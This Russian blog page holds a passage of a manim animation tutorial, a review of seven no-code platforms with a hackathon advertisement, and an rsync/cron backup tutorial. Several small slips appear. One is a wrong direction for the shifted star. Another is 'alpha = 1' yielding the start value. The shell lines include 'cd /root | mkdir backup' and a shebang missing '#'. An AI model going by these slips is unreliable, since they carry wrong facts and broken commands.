После запуска последнего заклинания в папку с проектом добавилась директория media. Внутри нее лежат отрендеренные части нашей сцены и собранный итоговый файл. Найти его можно в каталоге media\videos\hello, где будут созданы папки, соответствующие выбранному качеству рендеринга.

Основным строительным блоком любой сцены manim является mobject.

Такие элементы, как Circle, Axis, Rectangle, Arrow и Star, являются mobject. MObject – не имеющий визуального представления абстрактный класс, от которого наследуются все указанные выше фигуры. При этом стоит обратить внимание, что все используемые manim визуальные объекты являются векторными. Для простоты понимания пока опустим этот момент. Будем всегда использовать понятие mobject, хотя фактически речь идет о его векторном варианте.

Расположение объектов

Чтобы отобразить mobject на экране, нужно передать его в метод add нашей сцены. Создадим сцену, где звезда будет видима одну секунду, а после исчезнет. Код даже не нуждается в комментариях. В новый файл mobjects.py поместим следующее:

mobjects.py
        from manim import *
 
class CreatingMObjects(Scene):
    def construct(self):
        star = Star()
        self.add(star)
        self.wait(1)
        self.remove(star)
        self.wait()

    

Добавим в этот же файл еще одну сцену:

mobjects.py
        class Shapes(Scene):
    def construct(self):
        star = Star()
        square = Square()
        circle = Circle()
 
        circle.shift(LEFT)
        star.shift(UP)
        square.shift(RIGHT)
 
        self.add(star, square, circle)
        self.wait(1)

    

Результат:


По умолчанию, объекты добавляются в начало координат сцены, расположенное в ее центре. Для изменения положения объектов, manim поддерживает много различных способов. Мы использовали новый метод любого mobjectshift(vector). Он сдвигает объект на одну стандартную единицу в сторону указанного вектора или суммы векторов. В нашей сцене созданы объекты звезды, квадрата и круг. Звезда была сдвинута влево на одну единицу, квадрат – вправо, круг – влево. Константы UP, RIGHT, LEFT входят в состав библиотеки manim и представляют собой numpy ndarray. К примеру, UP выглядит следующим образом:

        UP: np.ndarray = np.array((0.0, 1.0, 0.0))
    

Рассмотрим другие способы, позволяющие изменять положение объектов на сцене. Это методы mobject: move_to(), align_to(), next_to().

Добавим новую сцену в файл mobjects.py. Создадим на ней те же объекты, что и в предыдущей: звезду, окружность и квадрат:

mobjects.py
        class ShapesPlacement(Scene):
    def construct(self):
        star = Star()
        square = Square()
        circle = Circle()
 
        star.move_to(LEFT * 2)  # сдвинуть звезду на две единицы влево
        square.next_to(star, LEFT)  # поставить квадрат слева от звезды
        circle.align_to(star, LEFT)  # выровнять левую границу круга с левой границей звезды
        self.add(star, square, circle)
        self.wait(1)

    

Результат работы следующий:


Метод move_to() использует абсолютные координаты, т.е. относительно начала координат. next_to() использует координаты относительно объекта, переданного ему первым параметром. align_to() использует левую границу объектов для выравнивания по нужной стороне. Для расчетов положения используется квадрат, описанный вокруг любого объекта сцены. Его не видно, но это фишка движка рендеринга библиотеки.

Стиль и порядок отображения объектов

Чтобы изменить стиль объекта, используются следующие методы: set_stroke(), set_fill() и set_color().

Создадим еще одну сцену ShapesStyle со следующим содержимым:

mobjects.py
        class ShapesStyle(Scene):
    def construct(self):
        star = Star().shift(LEFT)
        square = Square().shift(RIGHT)
        circle = Circle().shift(UP)
 
        star.set_color(RED)
        square.set_fill(color=YELLOW, opacity=0.5)
        circle.set_stroke(PINK, width=20)
 
        self.add(star, square, circle)
        self.wait(1)
    

Обратите внимание, что объекты manim поддерживают chaining.


        star = Star().shift(LEFT)
    
  • set_stroke() используется для установки рамки заданной толщины и цвета.
  • set_color() изменяет цвет обводки фигуры.
  • set_fill() заполняет фигуру выбранным цветом с заданной прозрачностью в диапазоне от 0.0 (полностью прозрачный) до 1.0 (полностью непрозрачный).

Как бы это странно ни выглядело, но в manim три оси, а не две. Третья ось, которая смотрит на наблюдателя перпендикулярно плоскости монитора, отвечает за порядок отображения объектов на сцене. Чтобы изменить его, достаточно поменять порядок передачи объектов в метод сцены add(). Изменим в предыдущем коде предпоследнюю строку на следующую:

        self.add(circle, star, square)
    

В результате последний объект списка оказался на самом верху. У нас это квадрат.

Анимации

Наконец мы с вами добрались до самого сочного, что есть в этой библиотеке – до анимаций.

Чтобы добавить анимацию, необходимо вызвать метод сцены play(). Создадим новый файл manim_animations.py и добавим в него следующий код:

manim_animations.py
        from manim import *
 
class ShapeAnimation(Scene):
    def construct(self):
        square = Square()
        self.add(square)
        self.play(FadeIn(square))
        self.play(Rotate(square, PI/4))
        self.play(FadeOut(square))
        self.wait(1)
    

Результат будет следующим:


Разберемся по строкам, что здесь происходит:

  1. Создаем объект квадрата.
  2. Добавляем его в начало координат сцены.
  3. Проигрываем анимацию FadeIn (появление объекта).
  4. Проигрываем анимацию Rotate (поворот объекта) на угол PI/4.
  5. Проигрываем анимацию FadeOut (исчезновение объекта).
  6. Ждем одну секунду.

FadeIn и FadeOut плавно изменяют прозрачность объекта от 0 до 1 и 1 до 0 соответственно.

Кроме того, любое свойство mobject, которое может быть изменено, может быть и анимировано с помощью метода animate(). Создадим новую сцену, чтобы это продемонстрировать. Добавим квадрат красного цвета, изменим его цвет и сместим с поворот на одну единицу вверх.

manim_animations.py
        class ShapePropsAnimation(Scene):
    def construct(self):
        square = Square().set_fill(BLUE, opacity=1.0)
        self.add(square)
 
        self.play(square.animate.set_fill(RED))
        self.wait(1)
 
        self.play(square.animate.shift(UP).rotate(PI/3))
        self.wait(1)
    

Результат:


  • animate() – это свойство любого mobject, которое анимирует все, что идет за ним по цепочке. Например, чтобы анимировать свойство set_fill(WHITE), необходимо его вызвать следующим образом:
        animate.set_fill(WHITE)
    

По умолчанию, все переданные в качестве аргументов в play() анимации проигрываются одну секунду. Чтобы изменить это время, необходимо задать параметр run_time. Создадим новую сцену, чтобы это продемонстрировать.

manim_animations.py
        class ShapeRunTimeAnimation(Scene):
    def construct(self):
        square = Square()
        self.add(square)
        self.play(square.animate.shift(UP), run_time=3)
        self.wait()
    

Тут анимация движения квадрата длится не одну секунду, а три.


Хотя manim имеет множество встроенных анимаций, вам может их не хватить. Чтобы реализовать собственные, придется создать и собственного наследника класса Animation, в котором необходимо перегрузить метод interpolate_mobject(). Он получает параметр alpha, который начинается с 0 и изменяется на протяжении всей анимации. Manim предоставляет этот параметр в методе interpolate_mobject() на основе частоты кадров видео и времени воспроизведения анимации. Он изменяется 0 до 1 и скрывает под собой относительное время анимации. Т.е. 0 – начало анимации, 0.5 – середина, 1 – конец.

Для примера создадим анимацию преобразования одного числа в другое. В manim присутствует анимация этой трансформации, FadeTransform, но она преобразует одно число в другое через исчезновение первого и появление второго. Мы сделаем по-другому. Пусть наша трансформация будет выглядеть, как счетчик от стартового до конечного числа. Для этого создадим класс CountAnimation, который является наследником Animation.

Для полного понимания, рассмотрим подробнее параметр alpha.

Создадим анимацию преобразования числа 50 в число 100. Тогда alpha будет иметь следующие значения:

  • alpha = 0, тогда текущее значение равняется 50, т.е. стартовому.
  • alpha = 0.5, тогда текущее значение равняется 75.
  • alpha = 1, тогда текущее значение равняется 50, т.е. конечному.

Мы начинаем со стартового числа и добавляем только некоторую часть разницы между концом и началом, которая будет увеличиваться в соответствии с альфа-значением. Итак, логика вычисления числа для отображения на каждом шаге будет следующей:

50+alpha⋅(100−50)

Реализуем классы анимации и сцены. Создадим файл count_animation.py в папке с проектом:

count_animation.py
        from manim import *
 
class CountAnimation(Animation):
    def __init__(self, number: DecimalNumber, start: float, end: float, **kwargs) -> None:
        super().__init__(number, **kwargs)
        self.start = start
        self.end = end
   
    def interpolate_mobject(self, alpha: float) -> None:
        value = self.start + (alpha * (self.end - self.start))
        self.mobject.set_value(value)
 
 
class CustomCountingScene(Scene):
    def construct(self):
        number = DecimalNumber().set_color(WHITE).scale(5)
        number.add_updater(lambda number: number.move_to(ORIGIN))
 
        self.add(number)
        self.wait()
        self.play(CountAnimation(number, 0, 100), run_time=4, rate_func=linear)
        self.wait()
    

DecimalNumber – это еще один Mobject. Наша анимация принимает в свой конструктор объект number, и начальные и конечные значения от 0 до 100, преобразование будет занимать 4 секунды, а скорость преобразования будет линейной. В результате получим следующую анимацию:


Трансформации

Трансформация – это тоже анимация, которая преобразует один mobject в другой. В самом начале статьи мы с вами использовали трансформацию квадрата в звезду.

Для примера, создадим трансформацию квадрата в круг в новом файле transform.py со следующим содержимым:

transform.py
        from manim import *
 
 
class SquareToCircleScene(Scene):
    def construct(self):
        square = Square().set_fill(BLUE, opacity=1.0)
        circle = Circle().set_fill(RED, opacity=1.0)
        self.add(square)
        self.play(Transform(square, circle), run_time=2)
        self.wait()

    

Результат:


Другие трансформации можно найти в документации.

***

В следующих статьях цикла мы рассмотрим более сложные аспекты использования библиотеки manim. Удачи в обучении!

Дополнительные материалы:

12
Ноя
2021

🛠 7 лучших платформ Low и No-Code для разработки бизнес-приложений

Существует немало платформ Low и No-Code, позволяющих разрабатывать приложения для бизнеса. В небольшом обзоре выделим 7 лучших решений и рассмотрим их более подробно.

С появлением платформ Low и No-Code создавать коммерческие приложения стало проще чем когда-либо. Благодаря им появилась возможность разрабатывать сложные программы за небольшой срок, не тратя на это огромных денег. Вдобавок вам необязательно быть экспертом-кодером, чтобы реализовать необходимую для бизнеса функциональность, ведь воплотить в жизнь задуманное можно практически без навыков программирования.

В таких платформ используется графический интерфейс с минимальной логикой и возможностью перетаскивания нужных функциональных блоков вместо написания бесчисленных строк кода. Они способны автоматизировать рабочие процессы, а также предлагают полезные инструменты для разработки бизнес-идей.

Преимущества:

  • Высокая производительность. Больше приложений за меньшее время из-за отсутствия необходимости писать длинные кодовые конструкции
  • Снижение расходов из-за отсутствия потребности в услугах команд разработчиков и использовании дорогих инструментов.
  • Гибкость бизнеса. Есть возможность создавать кроссплатформенные приложения, работающие на разных устройствах.
  • Эффективное управление: правила и условия ведения бизнеса на рынке часто меняются, простая автоматизация поможет вам свести риски к минимуму.

1. Airtable


Airtable – мощная платформа с большой базой данных, которой доверяют более 200 тысяч организаций по всему миру. С ее помощью вы модернизируете свои бизнес-процессы благодаря созданию эффективных приложений для решения широкого круга задач.

Здесь вы найдете множество полезных шаблонов для планирования и запуска новых продуктов, настройки каталога товаров, логистики, анализа рынка и многого другого. Для большей продуктивности есть функция совместной работы, настраиваемые уведомления и автоматизация повторяющихся задач.

Вы сможете оптимизировать рабочий процесс, интегрировав в приложения такие сервисы, как Slack, Gmail, Facebook, Twitter, Teams, Google Sheets и т.д. Airtable позволяет работать из любого места и в любое время. Вы можете редактировать, комментировать и синхронизировать изменения на всех устройствах, используя настольные и мобильные приложения.

2. Microsoft Power Apps


Платформа предоставит вам возможность создавать любые программы с низким уровнем кода для решения связанных с изменчивыми условиями бизнеса проблем. Доступны готовые шаблоны и встроенная функциональность перетаскивания.

В Power Apps есть мощные инструменты для работы, включая встроенные компоненты искусственного интеллекта. С его помощью вы сможете подключиться к многочисленным источникам данных и получать ценные сведения, используя мощные коннекторы и Microsoft Dataverse. Функции приложения расширяются при помощи Office 365 и Dynamics 365. Разработанные продукты легко масштабируются и интегрируются со сторонними сервисами, их можно использовать совместно с коллегами, работая на разных устройствах.

3. Caspio


Отличный вариант для создания надежных масштабируемых облачных low-code сервисов и программ. Платформу использует более 15 тысяч зарегистрированных клиентов, от государственных учреждений и глобальных корпораций, до малых предприятий, университетов и некоммерческих организаций.

Caspio поможет вам в планировании дизайна базы данных, в работе с пользователями, в управлении бизнес-процессами и в решении рутинных задач. Платформа предлагает интуитивно понятные инструменты для визуальной разработки облачных приложений с формами, панелями мониторинга и отчетами.

Вы поймете, как проектировать, разрабатывать и управлять своими программами. Сможете безупречно встраивать их в любой портал, сайт или CMS. Caspio работает на SQL Server и AWS – это отличный стек технологий для лучшей производительности и безопасности. Его можно использовать в сфере продаж, маркетинга, ИТ, администрирования, поддержки, HR и финансов.

Платформа поддерживает 11 основных языков, предоставляет возможность работы с международными валютами и учитывает часовые пояса. Использует технологию зашифрованных паролей и контроля доступа на основе IP. Интегрируется со всеми известными бизнес-сервисами.

4. OutSystems


OutSystems трансформирует разработку программного обеспечения и помогает быстро создавать и развертывать сложные приложения с использованием облачных решений, DevOps и AI. С OutSystems становится легко справляться с рутинными бизнес-процессами с учетом изменчивых потребностей рынка. Платформа предлагает множество сервисов автоматизации и интегрированных инструментов для создания безопасных, масштабируемых, простых в управлении и отказоустойчивых приложений.

OutSystems ускоряет и упрощает оптимизацию жизненного цикла программ, предоставляя для работы новейшие облачные технологии. Также она имеет удобный пользовательский интерфейс с функцией перетаскивания и возможностью разрабатывать программы для любых устройств. Их можно обновлять и развертывать при помощи одного щелчка мыши, быстро анализируя модели и рефакторинг зависимостей. Есть функции защиты учетной записи и синхронизации данных в автономном режиме.

5. Zoho Creator


Zoho Creator – одна из наиболее компетентных платформ с низким уровнем кода и неплохими функциональными возможностями. С ее помощью у вас получиться сделать все быстро, легко и безопасно, несмотря на уровень технической подготовленности в области программирования.

Это набор инструментов, с помощью которого вы сможете трансформировать бизнес за счет создания концептуальных мультиплатформенных приложений: от минималистичных журналов вызовов до сложных ERP. Он ускорит процесс разработки при помощи интуитивно понятных редакторов кода и визуальных конструкторов. Zoho Creator предлагает обширную коллекцию полезных шаблонов (управление заказами, работа с дистрибьюторами и поставщиками, логистика, склад и др.), устанавливаемых и настраиваемых в соответствии с требованиями заказчика. Сервис также поддерживает FileMaker, MS Access и другие базы данных.

6. Knack


Быстрая no-code платформа с простыми инструментами для структурирования данных в надежную онлайн-базу. Чистый и понятный интерфейс Knack, упрощает разработку приложений и не требует написания ни единой строчки кода. Доступные функции и компоненты, понятные формы, карты, отчеты, календари и учетные записи – все что нужно для администрирования рутинных задач.

Кроме того, база данных Knack позволяет создавать объекты, соответствующие вашим уникальным требованиям. В одну платформу встроены десятки полезных шаблонов и плагинов по работе с дизайном, SEO, геолокацией пользователей, безопасными платежными системами, уведомлениями и прочим.

Для расширения и настройки интерфейса приложения можно использовать JavaScript, а для управления его внешним видом – подключать дополнительные стилевые файлы. С Knack легко анализировать, управлять и обмениваться данными, благодаря интеграции с Gmail, MailChimp, Dropbox, WebMerge, Google Drive и Zapier.

7. Mendix


Инструмент для создания развертываемых быстро программ корпоративного уровня помогает бизнесу работать без сбоев. Применяется он для автоматизации и структурирования процессов поставки товаров, обслуживания заводского оборудования, управления доставкой, аналитикой и отчетностью, отслеживания логистики, интеллектуального банкинга с искусственным интеллектом, цифрового страхования и много чего еще.

Возможность подключения к приложениям когнитивных сервисов и ИИ, сделает их соответствующими требованиям нынешнего поколения пользователей.

Mendix позволяет сделать сквозную автоматизацию процессов, объединяющую в одном сервисе людей, системы и данные. Он позволяет интегрировать логику из любого источника, а созданные приложения можно расширить и сделать открытыми для других платформ.

Заключение

Представленные в обзоре платформы справятся с основными проблемами пользователей, но часто компаниями нужны кастомные решения No-code и не важно, будут ли они созданы с помощью упомянутых инструментов или разработаны под конкретную задачу. Важно, что решения No-code позволяют обычным сотрудникам вносить изменения в корпоративные системы без помощи программистов.

Скорость внесения доработок влияет на самые разные бизнес-процессы:

  • управление корпоративными продажами;
  • управление программами лояльности;
  • управление взысканием задолженности;
  • управление обслуживанием клиентов;
  • управление маркетингом;
  • управление HR.
***
Именно такие решения ищет российская ИТ-компания Т1 Консалтинг на хакатоне T1 Digital Challenge. Если вы тесно связаны с разработкой подобного рода программ, знаете как с помощью рассмотренных (или других) сервисов предложить корпоративный No-code инструмент или имеете готовые наработки для создания универсальной площадки для бизнеса, примите в нем участие.

Т1 Консалтинг уже во второй раз проводит хакатон, посвященный созданию корпоративных сервисов. На этот раз участникам предлагается выбрать одно из двух тематических направлений:

  • Разработать классический корпоративный инструмент при помощи любой No-code платформы, которым сможет пользоваться любой сотрудник без привлечения программистов;
  • разработать корпоративное решение по улучшению Customer Experience (CX).

На сайте хакатона подробно описаны задачи и предложены варианты кейсов для их решения. Можно выбрать один из перечисленных или создать свой.

Мероприятие пройдет в Москве 27 – 28 ноября, прием заявок продлится до 17 ноября. Призовой фонд хакатона составляет 500 000 рублей.

Отправляя заявку, опишите функциональность или готовую идею, которую вы готовы воплотить в жизнь на хакатоне. Компания отберет наиболее интересные и объявит список финалистов 19 ноября.

Кроме того, в рамках хакатона пройдет T1 Pitch Day, на котором стартапы и предприниматели с готовыми финтех-решениями по направлениям хакатона смогут презентовать свой проект топовому жюри и получить шанс сотрудничать не только с Т1 Консалтинг, но и с партнерами компании, в числе которых Почта Банк, Росбанк, ВТБ и другие.

11
Ноя
2021

👨‍💼 ТОП-10 инструментов для Business Intelligence в 2021 году

Хороший аналитик знает, какой инструмент лучше всего подходит для конкретной ситуации. Наш ТОП-10 позволит новичкам в Business Intelligence заранее подготовить стек лучших решений, заслуживающих изучения.

02
Ноя
2021

Хакатон T1 Digital Challenge

Хакатон для разработчиков, ноукодеров и других специалистов без ограничений в навыках с призовыми фондом 500 000 рублей.
— Читать дальше «Хакатон T1 Digital Challenge»

20
Окт
2021

🛠 Как использовать rsync для резервного копирования файлов ваших VDS

Рассмотрим кейс резервного копирования файлов между сервером Prod и сервером Backup. В качестве инструмента будем использовать популярную бесплатную утилиту rsync.

Синхронизация, мощный инструмент для системных администраторов. Синхронизация состояния файлов между двумя или более серверами, одна из повседневных задач системных администраторов.

Утилита rsync позволяет производить синхронизацию директорий по ssh и поддерживает следующие методы:

  • Sync method (синхронизация только изменений указанной директории).
  • Snapshot (создание полной копии указанной директории).

В статье разберем оба метода, а также автоматизируем комплексный backup по расписанию.

Что нам понадобится:

  • Сервер с OS Ubuntu 20.04 LTS – Prod.
  • Сервер с OS Ubuntu 20.04 LTS – Backup.
Серверы для тестов предоставлены компанией Selectel.

Заходим по ssh на сервер Prod:

        ssh [email protected]
    

Поскольку утилита rsync работает через ssh, необходимо сгенерировать ключ:

        ssh-keygen -t rsa -b 4096 -v

Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA250q8TsT/X5pM+KE2n1Biz3Sre/p425I5wnRSI [email protected]
The key's randomart image is:
+---[RSA 4096]----+
|                 |
|                 |
|             .   |
|          E o *  |
|        S ...B.+.|
|       . + *+.ooB|
|        + +oB=o=+|
|         o +*=+Oo|
|            +*OBX|
+----[SHA256]-----+


    

Затем копируем сгенерированный ключ на сервер Backup:

        ssh-copy-id [email protected]


    

Копирование ключа делается один раз и позволяет не вводить пароль при соединении по SSH. Зайдем на бэкап-сервер с помощью ssh:

        ssh [email protected]
    

Видим что мы зашли на сервер и у нас не спросили пароль 🙂 Так как мы на сервере Backup сервере предлагаю создать директорию backup. Сюда будем сохранять резервные копии файлов с сервера Prod. Возвращаемся обратно на Prod сервер.

        cd /root | mkdir backup
exit

    

Метод Sync (инкрементальное сохранение изменений)

При таком методе сохраняются только изменения в целевой директории. Утилита rsync мониторит директорию и если произошли следующие события отправляет изменения на сервер Backup.

  • Если были добавлены новые файлы.
  • Если были произведены изменения в файлах контролируемой директории.
  • Если было удаление файлов в контролируемой директории.

На сервере Prod создадим директорию и в ней файлы, которые будет мониторить утилита rsync:

        cd var
mkdir www
cd www
touch 1.html index.html hello.html


    

Мы перешли в var и там создали директорию www с файлами 1.html, index.html, hello.html.

Почти готово 🙂 Запускаем rsync в режиме синхронизации изменений:

        rsync -azvP --delete /var/www/ [email protected]:/root/backup/

sending incremental file list
./
1.html
              0 100%    0.00kB/s    0:00:00 (xfr#1, to-chk=2/4)
hello.html
              0 100%    0.00kB/s    0:00:00 (xfr#2, to-chk=1/4)
index.html
              0 100%    0.00kB/s    0:00:00 (xfr#3, to-chk=0/4)

sent 222 bytes  received 76 bytes  198.67 bytes/sec

    

Видим что была отправка файлов на сервер Backup. Теперь внесем изменения. Удалим файл hello.html и создадим новый файл 2.html:

        rm -r hello.html
touch 2.html


    

Повторно запустим rsync:

        rsync -azvP --delete /var/www/ [email protected]:/root/backup/




    
        sending incremental file list

deleting hello.html

./

2.html

              0 100%    0.00kB/s    0:00:00 (xfr#1, to-chk=1/4)

sent 150 bytes  received 52 bytes  134.67 bytes/sec

total size is 0  speedup is 0.00


    

Видим что rsync удалил в папке backup файл hello.html и скопировал туда файл 2.html. Предлагаю создать исполняемый файл, в дальнейшем он нам понадобится для автоматизации бекапа:

        nano sync.sh


    
        #!/bin/sh

rsync -azvP --delete /var/www/ [email protected]:/root/backup/


    

Теперь нет необходимости запоминать длинную команду rsync, а достаточно запустить sync.sh (не забудьте сделать его исполняемым с помощью команды chmod):

        sh sync.sh
    

Метод Snapshot (создание полной копии указанной директории)

У метода инкрементного бэкапа есть недостаток. Если вы, к примеру, ошибочно удалите файлы, то удаление также произойдет и в директории backup. Файлы будут утеряны. Для решения проблемы можно реализовать следующий алгоритм:

  • Делаем инкрементный backup каждый день утром в 09:30.
  • Делаем полный backup (Snapshot) еженедельно в понедельник 10:30.

Snapshot кладем в предварительно созданную директорию snapshot на сервере Backup. Создаем snapshot.sh:

        nano snapshot.sh


    
        !/bin/sh

DATE=$(date +%Y-%m-%d-t-%H-%M-%S)

rsync -arvt -t /var/www/ [email protected]:/root/backup/snapshot/$DATE

    

Запускаем:

        sh snapshot.sh


    
        sending incremental file list
created directory /root/backup/snapshot/2021-09-01-t-16-44-29
./
1.html
2.html
index.html
snapshot.sh
sync.sh

sent 577 bytes  received 180 bytes  1,514.00 bytes/sec
total size is 213  speedup is 0.28


    

Из вывода результата исполнения snapshot.sh видим, что была сделана и отправлена полная копия сохраняемой директории в backup с именем текущей даты и времени.

Автоматизируем задачу копирования файлов

Автоматизируем наш backup. Мы не зря создавали исполняемые файлы sync.sh и snapshot.sh. Теперь нужно создать в планировщике Cron задание:

        crontab -e


    
        # Ежедневное копирование изменений в 09:30
30 9 * * * /root/sync.sh

# Еженедельное копирование полной копии в Понедельник 10:30
30 10 * * 1 /root/snapshot.sh


    

Готово! В планировщике два задания которые будут с помощью утилиты rsync копировать ежедневные изменении и раз в неделю делать полную копию.

***
Чтобы ускорить работу системы, выберите провайдера инфраструктуры, который наилучшим образом соответствует требованиям вашего ресурса: объем накопителя, процессор и количество ядер, объем оперативки и ежемесячного трафика, наличие резервного копирования, быстрая техническая поддержка. Мы тестировали серверы, любезно предоставленные компанией Selectel.

Для резервного копирования с одного рабочего сервера отдельная физическая машина может показаться избыточной, если проект не особенно крупный. Такая конфигурация скорее подойдет для нескольких серверов на проде (или одного, если он обслуживает большой проект). Selectel предлагает серверы, оснащенные 4-768 ГБ ОЗУ, 2-72 ядрами ЦП, а также с возможностью подключить графический ускоритель и выбрать в качестве сервера даже Raspberry Pi 4 (4/64 ГБ) и Mac mini для iOS-разработчиков.